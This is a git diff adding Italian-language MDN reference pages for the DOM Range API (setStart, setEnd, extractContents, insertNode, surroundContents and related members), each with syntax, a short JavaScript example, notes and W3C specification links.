+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">endRangeOffset = range.endOffset;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+endRangeOffset = range.endOffset;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p><code>endOffset</code> ha due significati. Se <code>endContainer</code> è un <code>Node</code> di tipo <code>Text</code>, <code>Comment</code>, o <code>CDATASection</code>, allora l'offset è il numero di caratteri dall'inizio di <code>endContainer</code> alla fine del Range. Per altri tipi di <code>Node</code>, <code>endOffset</code> è il numero dei nodi figli tra l'inizio di endContainer e la fine del Range. Questa proprietà è di sola lettura. Per cambiare l'<code>endOffset</code> del Range, è possibile utilizzare uno dei metodi setEnd.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-endOffset">endOffset</a></p>
diff --git a/files/it/web/api/range/extractcontents/index.html b/files/it/web/api/range/extractcontents/index.html
new file mode 100644
index 0000000000..9c2cc50586
--- /dev/null
+++ b/files/it/web/api/range/extractcontents/index.html
@@ -0,0 +1,27 @@
+---
+title: range.extractContents
+slug: Web/API/Range/extractContents
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Range/extractContents
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Sposta i contenuti di un Range da un ramo del documento ad un altro ramo del documento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">frammento = range.extractContents();
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+frammento = range.extractContents();
+document.body.appendChild(frammento);
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Gli Event Listener creati utilizzando gli eventi DOM non vengono conservati durante l'estrazione. Gli attributi-evento di HTML non vengono conservati nè duplicati. Gli attributi HTML "id" vengono clonati, il che può portare a rendere invalido un documento se il nodo parzialmente selezionato è estratto ed aggiunto in un altro punto del documento.</p>
+<p>I nodi parzialmente selezionati vengono clonati per includere i tag padri necessari perché il frammento del documento sia valido.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-Range-method-extractContents">extractContents</a></p>
diff --git a/files/it/web/api/range/index.html b/files/it/web/api/range/index.html
new file mode 100644
index 0000000000..9ff0663ee0
--- /dev/null
+++ b/files/it/web/api/range/index.html
@@ -0,0 +1,150 @@
+---
+title: range
+slug: Web/API/Range
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - SezioneIncompleta
+  - Tutte_le_categorie
+translation_of: Web/API/Range
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Introduzione" name="Introduzione">Introduzione</h3>
+<p>L'oggetto <code>Range</code> rappresenta una parte di un documento, che può contenere nodi e parti di nodi testuali del documento dato.</p>
+<p>Un range può essere creato usando il metodo <code><a href="it/DOM/document.createRange">createRange</a></code> dell'oggetto <code><a href="it/DOM/document">document</a></code>. Gli oggetti Range possono essere ottenuti anche usando il metodo <code><a href="it/DOM/Selection/getRangeAt">getRangeAt</a></code> dell'oggetto <code><a href="it/DOM/Selection">selection</a></code>.</p>
+<h3 id="Propriet.C3.A0" name="Propriet.C3.A0">Proprietà</h3>
+<dl>
+ <dt>
+  <a href="it/DOM/range.collapsed">collapsed</a></dt>
+ <dd>
+  Restituisce un booleano che indica se i punti d'inizio e di fine del range sono nella stessa posizione.</dd>
+ <dt>
+  <a href="it/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>
+  Restituisce il nodo più interno che contiene i nodi startContainer e endContainer.</dd>
+ <dt>
+  <a href="it/DOM/range.endContainer">endContainer</a></dt>
+ <dd>
+  Restituisce il nodo nel quale il Range finisce.</dd>
+ <dt>
+  <a href="it/DOM/range.endOffset">endOffset</a></dt>
+ <dd>
+  Restituisce un numero che rappresenta il punto preciso in cui il Range finisce, all'interno di endContainer.</dd>
+ <dt>
+  <a href="it/DOM/range.startContainer">startContainer</a></dt>
+ <dd>
+  Restituisce il nodo nel quale il Range inizia.</dd>
+ <dt>
+  <a href="it/DOM/range.startOffset">startOffset</a></dt>
+ <dd>
+  Restituisce un numero che rappresenta il punto preciso in cui il Range inizia, all'interno di startContainer.</dd>
+</dl>
+<h3 id="Metodi" name="Metodi">Metodi</h3>
+<h4 id="Metodi_di_posizionamento" name="Metodi_di_posizionamento">Metodi di posizionamento</h4>
+<p>Questi metodi impostano i punti di inizio e di fine di un range.</p>
+<dl>
+ <dt>
+  <a href="it/DOM/range.setStart">setStart</a></dt>
+ <dd>
+  Imposta la posizione iniziale di un Range.</dd>
+ <dt>
+  <a href="it/DOM/range.setEnd">setEnd</a></dt>
+ <dd>
+  Setta la posizione finale di un Range.</dd>
+ <dt>
+  <a href="it/DOM/range.setStartBefore">setStartBefore</a></dt>
+ <dd>
+  Setta la posizione iniziale di un Range nel nodo precedente a quello indicato.</dd>
+ <dt>
+  <a href="it/DOM/range.setStartAfter">setStartAfter</a></dt>
+ <dd>
+  Setta la posizione iniziale di un Range nel nodo successivo a quello indicato.</dd>
+ <dt>
+  <a href="it/DOM/range.setEndBefore">setEndBefore</a></dt>
+ <dd>
+  Setta la posizione finale di un Range nel nodo precedente a quello indicato.</dd>
+ <dt>
+  <a href="it/DOM/range.setEndAfter">setEndAfter</a></dt>
+ <dd>
+  Setta la posizione finale di un Range nel nodo successivo a quello indicato.</dd>
+ <dt>
+  <a href="it/DOM/range.selectNode">selectNode</a></dt>
+ <dd>
+  Inserisce all'interno di un Range uno specifico nodo e il suo contenuto.</dd>
+ <dt>
+  <a href="it/DOM/range.selectNodeContents">selectNodeContents</a></dt>
+ <dd>
+  Inserisce all'interno di un Range esclusivamente il contenuto di uno specifico nodo.</dd>
+ <dt>
+  <a href="it/DOM/range.collapse">collapse</a></dt>
+ <dd>
+  Collassa un Range in uno dei punti estremi.</dd>
+</dl>
+<h4 id="Metodi_per_modificare_un_Range" name="Metodi_per_modificare_un_Range">Metodi per modificare un Range</h4>
+<p>Questi metodi prendono i nodi da un range e ne modificano i contenuti.</p>
+<dl>
+ <dt>
+  <a href="it/DOM/range.cloneContents">cloneContents</a></dt>
+ <dd>
+  Restituisce un frammento di documento copiando i nodi da un Range.</dd>
+ <dt>
+  <a href="it/DOM/range.deleteContents">deleteContents</a></dt>
+ <dd>
+  Rimuove dal documento i contenuti di un Range.</dd>
+ <dt>
+  <a href="it/DOM/range.extractContents">extractContents</a></dt>
+ <dd>
+  Muove i contenuti di un Range dall'albero del documento in un frammento del documento.</dd>
+ <dt>
+  <a href="it/DOM/range.insertNode">insertNode</a></dt>
+ <dd>
+  Inserisce un nodo all'inizio di un Range.</dd>
+ <dt>
+  <a href="it/DOM/range.surroundContents">surroundContents</a></dt>
+ <dd>
+  Muove il contenuto di un Range in un nuovo nodo.</dd>
+</dl>
+<h4 id="Altri_metodi" name="Altri_metodi">Altri metodi</h4>
+<dl>
+ <dt>
+  <a href="it/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a></dt>
+ <dd>
+  Compara i punti estremi di due Range.</dd>
+ <dt>
+  <a href="it/DOM/range.cloneRange">cloneRange</a></dt>
+ <dd>
+  Restituisce un oggetto Range con i punti estremi identici al Range clonato.</dd>
+ <dt>
+  <a href="it/DOM/range.detach">detach</a></dt>
+ <dd>
+  Rilascia un Range dall'uso, per migliorare le performance.</dd>
+ <dt>
+  <a href="it/DOM/range.toString">toString</a></dt>
+ <dd>
+  Restituisce il testo di un Range.</dd>
+</dl>
+<h4 id="Metodi_proprietari_di_Gecko" name="Metodi_proprietari_di_Gecko">Metodi proprietari di Gecko</h4>
+<p>Questa sezione descrive metodi di Range implementati in Gecko ma che non fanno parte delle specifiche DOM del W3C.</p>
+<dl>
+ <dt>
+  <a href="it/DOM/range.compareNode">compareNode</a> (obsoleto)</dt>
+ <dd>
+  Restituisce una costante che rappresenta se il nodo viene prima, dopo o dentro il Range.</dd>
+ <dt>
+  <a href="it/DOM/range.comparePoint">comparePoint</a></dt>
+ <dd>
+  Restituisce -1, 0, o 1 per indicare se il punto viene prima, dentro o dopo il range.</dd>
+ <dt>
+  <a href="it/DOM/range.createContextualFragment">createContextualFragment</a></dt>
+ <dd>
+  Restituisce un frammento di documento creato a partire da una data stringa di codice.</dd>
+ <dt>
+  <a href="it/DOM/range.intersectsNode">intersectsNode</a> (obsoleto)</dt>
+ <dd>
+  Restituisce un booleano che indica se il nodo dato interseca il range.</dd>
+ <dt>
+  <a href="it/DOM/range.isPointInRange">isPointInRange</a></dt>
+ <dd>
+  Restituisce un booleano che indica se il punto dato è interno al range.</dd>
+</dl>
diff --git a/files/it/web/api/range/insertnode/index.html b/files/it/web/api/range/insertnode/index.html
new file mode 100644
index 0000000000..6abfe0f295
--- /dev/null
+++ b/files/it/web/api/range/insertnode/index.html
@@ -0,0 +1,38 @@
+---
+title: range.insertNode
+slug: Web/API/Range/insertNode
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Range/insertNode
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<p><span style="font-size: 1.71428571428571rem; letter-spacing: -0.5px; line-height: 24px;">Sommario</span></p>
+<p>Inserisce un nodo all'inizio di un range.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval">range.insertNode(nuovoNodo);
+</pre>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<dl>
+ <dt>
+  nuovoNodo </dt>
+ <dd>
+  è un oggetto <code>node</code>.</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">range = document.createRange();
+nuovoNodo = document.createElement("p");
+nuovoNodo.appendChild(document.createTextNode("Un nuovo nodo viene inserito qui"));
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.insertNode(nuovoNodo);
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>nuovoNodo viene inserito al punto iniziale del Range. Se nuovoNodo deve essere aggiunto a un nodo testo, quel nodo viene diviso al punto dell'inserimento e l'aggiunta avviene tra il due nodi testo risultanti (si veda però il bug <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=135922" rel="freelink">http://bugzilla.mozilla.org/show_bug.cgi?id=135922</a> ).</p>
+<p>Se nuovoNodo è un frammento di documento, i figli del frammento vengono inseriti al suo posto.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-Range-method-insertNode">insertNode</a></p>
diff --git a/files/it/web/api/range/ispointinrange/index.html b/files/it/web/api/range/ispointinrange/index.html
new file mode 100644
index 0000000000..86c7e3ec43
--- /dev/null
+++ b/files/it/web/api/range/ispointinrange/index.html
@@ -0,0 +1,31 @@
+---
+title: range.isPointInRange
+slug: Web/API/Range/isPointInRange
+translation_of: Web/API/Range/isPointInRange
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un valore booleano che indica se il punto passato si trova all'interno del <code>range</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">bool = range.isPointInRange( nodo )
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>nodo </dt>
+ <dd>Il <code>Node</code> da comparare con il <code>Range</code>.</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+bool = range.isPointInRange(document.getElementsByTagName("p").item(0),1);
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcun standard.</p>
diff --git a/files/it/web/api/range/selectnode/index.html b/files/it/web/api/range/selectnode/index.html
new file mode 100644
index 0000000000..2b08e16731
--- /dev/null
+++ b/files/it/web/api/range/selectnode/index.html
@@ -0,0 +1,35 @@
+---
+title: range.selectNode
+slug: Web/API/Range/selectNode
+translation_of: Web/API/Range/selectNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta il <code>Range</code> in modo tale che contenga un nodo e tutti i suoi elementi.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.selectNode(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> da selezionare dentro un <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.selectNode(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> padre dell'inizio e della fine del <code>Range</code> sarà lo stesso del padre del <code>referenceNode</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-selectNode">selectNode</a></p>
diff --git a/files/it/web/api/range/selectnodecontents/index.html b/files/it/web/api/range/selectnodecontents/index.html
new file mode 100644
index 0000000000..e558cf5982
--- /dev/null
+++ b/files/it/web/api/range/selectnodecontents/index.html
@@ -0,0 +1,37 @@
+---
+title: range.selectNodeContents
+slug: Web/API/Range/selectNodeContents
+translation_of: Web/API/Range/selectNodeContents
+---
+<h3 id="Sommario" name="Sommario"> </h3>
+
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta il <code>Range</code> perchè contenga il contenuti di un dato <code>Node</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.selectNodeContents(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> i cui contenuti devono essere selezionati dentro il <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.selectNodeContents(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> padre dell'inizio e della fine del <code>Range</code> sarà <code>referenceNode</code>. <code>startOffset</code> è 0 e <code>endOffset</code> è il numero dei <code>Node</code> figli o il numero dei caratteri contenuti nel <code>referenceNode</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-selectNodeContents">selectNodeContents</a></p>
diff --git a/files/it/web/api/range/setend/index.html b/files/it/web/api/range/setend/index.html
new file mode 100644
index 0000000000..02754fbedb
--- /dev/null
+++ b/files/it/web/api/range/setend/index.html
@@ -0,0 +1,38 @@
+---
+title: range.setEnd
+slug: Web/API/Range/setEnd
+translation_of: Web/API/Range/setEnd
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione finale di un <code>Range</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.setEnd(endNode,endOffset);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>endNode </dt>
+ <dd>Il <code>Node</code> che termina il <code>Range</code></dd>
+ <dt>endOffset </dt>
+ <dd>Un intero maggiore o uguale a zero che rappresenta la distanza della fine del <code>Range</code> dall'inizio di <code>endNode</code>.</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+endNode = document.getElementsByTagName("p").item(3);
+endOffset = document.getElementsByTagName("p").item(3).childNodes.length;
+range.setEnd(endNode,endOffset);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Se l'<code>endNode</code> è un <code>Node</code> di tipo <code>Text</code>, <code>Comment</code>, o <code>CDATASection</code>, allora <code>endOffset</code> è il numero di caratteri dall'inizio di <code>endNode</code>. Per altri tipi di <code>Node</code>, <code>endOffset</code> è il numero dei nodi figlio dall'inizio di <code>endNode</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-setEnd">setEnd</a></p>
diff --git a/files/it/web/api/range/setendafter/index.html b/files/it/web/api/range/setendafter/index.html
new file mode 100644
index 0000000000..7d23e74e02
--- /dev/null
+++ b/files/it/web/api/range/setendafter/index.html
@@ -0,0 +1,35 @@
+---
+title: range.setEndAfter
+slug: Web/API/Range/setEndAfter
+translation_of: Web/API/Range/setEndAfter
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione finale di un <code>Range</code> relativamente a un altro <code>Node</code>.</p>
+
+<h3 id="Syntax" name="Syntax">Syntax</h3>
+
+<pre class="eval">range.setEndAfter(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> dopo il quale deve terminare il <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.setEndAfter(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> della fine del <code>Range</code> sarà lo stesso di <code>referenceNode</code>.</p>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-setEndAfter">setEndAfter</a></p>
diff --git a/files/it/web/api/range/setendbefore/index.html b/files/it/web/api/range/setendbefore/index.html
new file mode 100644
index 0000000000..69b3f0e961
--- /dev/null
+++ b/files/it/web/api/range/setendbefore/index.html
@@ -0,0 +1,35 @@
+---
+title: range.setEndBefore
+slug: Web/API/Range/setEndBefore
+translation_of: Web/API/Range/setEndBefore
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione finale di un <code>Range</code> relativamente a un altro <code>Node</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.setEndBefore(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> prima del quale deve terminare il <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.setEndBefore(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> padre della fine del <code>Range</code> sarà lo stesso di <code>referenceNode</code>.</p>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-setEndBefore">setEndBefore</a></p>
diff --git a/files/it/web/api/range/setstart/index.html b/files/it/web/api/range/setstart/index.html
new file mode 100644
index 0000000000..27623b9ea8
--- /dev/null
+++ b/files/it/web/api/range/setstart/index.html
@@ -0,0 +1,38 @@
+---
+title: range.setStart
+slug: Web/API/Range/setStart
+translation_of: Web/API/Range/setStart
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione iniziale di un <code>Range</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.setStart(startNode,startOffset);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>startNode </dt>
+ <dd>Il <code>Node</code> all'inizio del <code>Range</code></dd>
+ <dt>startOffset </dt>
+ <dd>Un numero intero molto grande rappresentante l'offset per l'inizio del <code>Range</code> dall'iniszio dello <code>startNode</code>.</dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+startNode = document.getElementsByTagName("p").item(2);
+startOffset = 0;
+range.setStart(startNode,startOffset);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Se lo <code>startNode</code> è un <code>Node</code> di tipo <code>Text</code>, <code>Comment</code>, oppure <code>CDATASection</code>, allora lo <code>startOffset</code> è il numero di caratteri dall'inizio dello <code>startNode</code>. Per gli altri tipi di <code>Node</code>, lo <code>startOffset</code> è il numero di nodi figli tra l'inizio dello <code>startNode</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-setStart">setStart</a></p>
diff --git a/files/it/web/api/range/setstartafter/index.html b/files/it/web/api/range/setstartafter/index.html
new file mode 100644
index 0000000000..4a5676a9d6
--- /dev/null
+++ b/files/it/web/api/range/setstartafter/index.html
@@ -0,0 +1,35 @@
+---
+title: range.setStartAfter
+slug: Web/API/Range/setStartAfter
+translation_of: Web/API/Range/setStartAfter
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione iniziale di un <code>Range</code> relativamente a un altro <code>Node</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.setStartAfter(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> dopo il quale deve iniziare il <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.setStartAfter(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> padre dell'inizio del <code>Range</code> sarà lo stesso di <code>referenceNode</code>.</p>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-setStartAfter">setStartAfter</a></p>
diff --git a/files/it/web/api/range/setstartbefore/index.html b/files/it/web/api/range/setstartbefore/index.html
new file mode 100644
index 0000000000..d98800f57b
--- /dev/null
+++ b/files/it/web/api/range/setstartbefore/index.html
@@ -0,0 +1,35 @@
+---
+title: range.setStartBefore
+slug: Web/API/Range/setStartBefore
+translation_of: Web/API/Range/setStartBefore
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Imposta la posizione iniziale di un <code>Range</code> relativamente a un altro <code>Node</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">range.setStartBefore(referenceNode);
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<dl>
+ <dt>referenceNode </dt>
+ <dd>Il <code>Node</code> prima del quale deve iniziare il <code>Range</code></dd>
+</dl>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+referenceNode = document.getElementsByTagName("div").item(0);
+range.setStartBefore(referenceNode);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Il <code>Node</code> padre dell'inizio del <code>Range</code> sarà lo stesso di <code>referenceNode</code>.</p>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-setStartBefore">setStartBefore</a></p>
diff --git a/files/it/web/api/range/startcontainer/index.html b/files/it/web/api/range/startcontainer/index.html
new file mode 100644
index 0000000000..e1eb8d3c7f
--- /dev/null
+++ b/files/it/web/api/range/startcontainer/index.html
@@ -0,0 +1,29 @@
+---
+title: range.startContainer
+slug: Web/API/Range/startContainer
+translation_of: Web/API/Range/startContainer
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce il <code>Node</code> dentro il quale comincia il <code>Range</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">startRangeNode = range.startContainer;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+startRangeNode = range.startContainer;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Restituisce un riferimento al <code>Node</code> del documento, dentro il quale comincia il <code>Range</code>. Questa proprietà è di sola lettura. Per modificare la posizione dell'inizio di un nodo, si utilizzi i metodi <code>setStart</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-startParent">startParent</a></p>
diff --git a/files/it/web/api/range/startoffset/index.html b/files/it/web/api/range/startoffset/index.html
new file mode 100644
index 0000000000..e0408fa445
--- /dev/null
+++ b/files/it/web/api/range/startoffset/index.html
@@ -0,0 +1,29 @@
+---
+title: range.startOffset
+slug: Web/API/Range/startOffset
+translation_of: Web/API/Range/startOffset
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce un numero che rappresenta il punto iniziale del <code>Range</code> all'interno di <code>startContainer</code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">startRangeOffset = range.startOffset;
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+startRangeOffset = range.startOffset;
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p><code>startRangeOffset</code> ha due significati. Se <code>startContainer</code> è un code&gt;Node&lt;/code&gt; di tipo <code>Text</code>, <code>Comment</code>, o <code>CDATASection</code>, allora <code>startRangeOffset</code> rappresenta il numero di caratteri dall'inizio di <code>startContainer</code> alla fine di <code>Range</code>, Per tutti gli altri tipi di <code>Node</code>, <code>startRangeOffset</code> rappresenta il numero di nodi figlio tra l'inizio di <code>startContainer</code> e la fine di <code>Range</code>. Questa proprietà è di sola lettura. Per modificare il valore <code>startOffset</code> di un nodo, si utilizzino i metodi <code>setStart</code>.</p>
+
+<h3 id="Speicifiche" name="Speicifiche">Speicifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-attr-startOffset">startOffset</a></p>
diff --git a/files/it/web/api/range/surroundcontents/index.html b/files/it/web/api/range/surroundcontents/index.html
new file mode 100644
index 0000000000..32b94161ef
--- /dev/null
+++ b/files/it/web/api/range/surroundcontents/index.html
@@ -0,0 +1,36 @@
+---
+title: range.surroundContents
+slug: Web/API/Range/surroundContents
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Range/surroundContents
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Sposta il contenuto di un <a href="it/DOM/range">Range</a> in un nuovo nodo, piazzando il nuovo nodo all'inizio del range specificato.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>range</i>.surroundContents(<i>nuovoNodo</i>);
+</pre>
+<dl>
+ <dt>
+  nuovoNodo </dt>
+ <dd>
+  è un nodo</dd>
+</dl>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre class="eval">var range = document.createRange();
+var nuovoNodo = document.createElement("p");
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.surroundContents(nuovoNodo);
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p><code>surroundContents</code> equivale a:</p>
+<pre class="eval"><code>nuovoNodo.appendChild(<a href="it/DOM/range.extractContents">range.extractContents()</a>);
+range.insertNode(nuovoNodo)</code>
+</pre>
+<p>Per effetto di questo metodo, i punti estremi del <code>range</code> includono <code>nuovoNodo</code>.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/ranges.html#Level2-Range-method-surroundContents">DOM Level 2 Range: Range.surroundContents</a></p>
diff --git a/files/it/web/api/range/tostring/index.html b/files/it/web/api/range/tostring/index.html
new file mode 100644
index 0000000000..fd3c9d3999
--- /dev/null
+++ b/files/it/web/api/range/tostring/index.html
@@ -0,0 +1,28 @@
+---
+title: range.toString
+slug: Web/API/Range/toString
+translation_of: Web/API/Range/toString
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Restituisce il testo del Range.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">text = range.toString();
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+text = range.toString();
+</pre>
+
